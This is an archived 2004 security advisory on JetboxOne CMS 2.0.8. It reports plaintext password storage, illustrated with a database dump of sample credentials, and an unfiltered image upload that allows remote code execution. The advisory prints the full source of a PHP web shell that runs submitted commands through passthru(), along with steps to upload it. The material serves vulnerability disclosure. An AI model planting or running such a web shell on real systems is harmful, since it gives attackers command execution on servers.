<<< Date Index >>>     <<< Thread Index >>>

vulnerabilities in JetboxOne CMS




ECHO_ADV_03$2004

---------------------------------------------------------------------------
               vulnerabilities in JetboxOne CMS
---------------------------------------------------------------------------

Author: y3dips
Date: August, 4th 2004
Location: Indonesia, Jakarta
Web: http://echo.or.id/adv/adv03-y3dips-2004.txt

---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Jetboxone is a freeware content management system, written in php by Arjen.

download at : http://www.sourceforge.net/projects/jetboxone

Version :
tested on jetbox v2.0.8
not tested on other/older version but it is possible be the same

---------------------------------------------------------------------------

Vulnerabilities:
~~~~~~~~~~~~~~~~

A. Unencrypted Password input in database table of user(Admin) and web user :

all password that store in database was not encrypted, it means that attacker
who could attack the database are possible to look all account and all password
without do anything to crack it

it prove in :

/admin/cms/useradmin.inc.php > file for created admin and author

$sql="INSERT INTO user (login, user_password, email, type, display_name) VALUES 
('$_REQUEST[uname]','$_REQUEST[password1]','$_REQUEST[email]',\
'$_REQUEST[usertype]','$_REQUEST[fullname]')";
mysql_prefix_query($sql) or die (mysql_error());
$newuid = mysql_insert_id();

$_REQUEST[password1] <--- no encryption process, 
or if u dont believe, you just see in your database ,

drive trough to your database from console , 

mysql> use jet[or your db name]

mysql> SELECT * FROM `user` ;

+-----+---------+--------+---------------+------------------------+---------------+---------------+-------+----------------+
| uid | session | login  | user_password | email                  | type        
  | display_name  | visit | history        |
+-----+---------+--------+---------------+------------------------+---------------+---------------+-------+----------------+
|   1 | NULL    | admin  | admin1        | a.schat@xxxxxxxxxxxxxx | 
administrator | Administrator |  1104 | 20040803215054 |
|   2 | NULL    | dudul  | carnage       | dudul@xxxxxxxxx        | user        
  | dudul         |     7 | 20040803223734 |
|   3 | NULL    | y3dips | ganteng       | y3dips@xxxxxxxxxxx     | 
administrator | y3dips        |  NULL | 20040803203157 |
+-----+---------+--------+---------------+------------------------+---------------+---------------+-------+----------------+
4 rows in set (0.11 sec)

also for webuser (standard user)

command : 

mysql> SELECT * FROM `webuser` ;



B. Remote Execution shell 

it is possible for "Standard user" that have right as "Author" in "IMAGES" 
modules to upload malicious file (php shell :P) , because there isn`t filterring
input file  to uploads, so itis possible to execute malicious code, in this case
i proof it with php code (use passthru() to execute shell command )

make some php code, and upload it in images upload box :
this is my simple code :

you can find it in mysites 
http://geocities.com/y3d1ps/scarpt/echo-simple-shell.php.txt

---------------code-------------------


<!-- simple php shell made by y3dips (echo.or.id) for test only-->
<html>
<head>
<title>#E-C-H-O $imple $hell</title>
</head>
<BODY bgcolor="#000000">
<table>
<tr><td bgcolor=#cccccc>
<?
if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="ls -la ; pwd ;id 
"; }
echo "<b>";
echo "<div align=left><textarea name=report cols=70 rows=15>";
echo "".passthru($_POST['cmd'])."";
echo "</textarea></div>";
echo "</b>";
?>
</td></tr></table>
<table>
<tr><td height=18>
<?
echo "<form name=command method=post>";
echo "<font face=Verdana size=1 color=red>";
echo "<b> [echo]$ </b>&nbsp;&nbsp;";
echo "<input type=text name=cmd size=45>&nbsp;&nbsp;";
echo "<input type=submit name=submit value=\"0k\">";
echo "</font>";
echo "</form>";
?>
</td></tr></table>

---------------eof code------------------

save it as cmd.php

and then click "show" BUM you have a shell with nobody access (APACHE/HTTPD)
"there you go" 

---------------------------------------------------------------------------

The fix:
~~~~~~~~

Vendor not contacted yet
but i ll post it to them later

---------------------------------------------------------------------------

Shoutz:
~~~~~~~

~ echo|staff (m0by, the_day, comex, z3r0byt3, K-159, c-a-s-e, S`to)
~ newbie_hacker@xxxxxxxxxxxxxxx , 
~ #e-c-h-o@DALNET

---------------------------------------------------------------------------

Contact:
~~~~~~~~

     y3dips || echo|staff || y3dips[at]phreaker[dot]net
     Homepage: http://y3dips.echo.or.id/

------------------------------- [ EOF ] -----------------------------------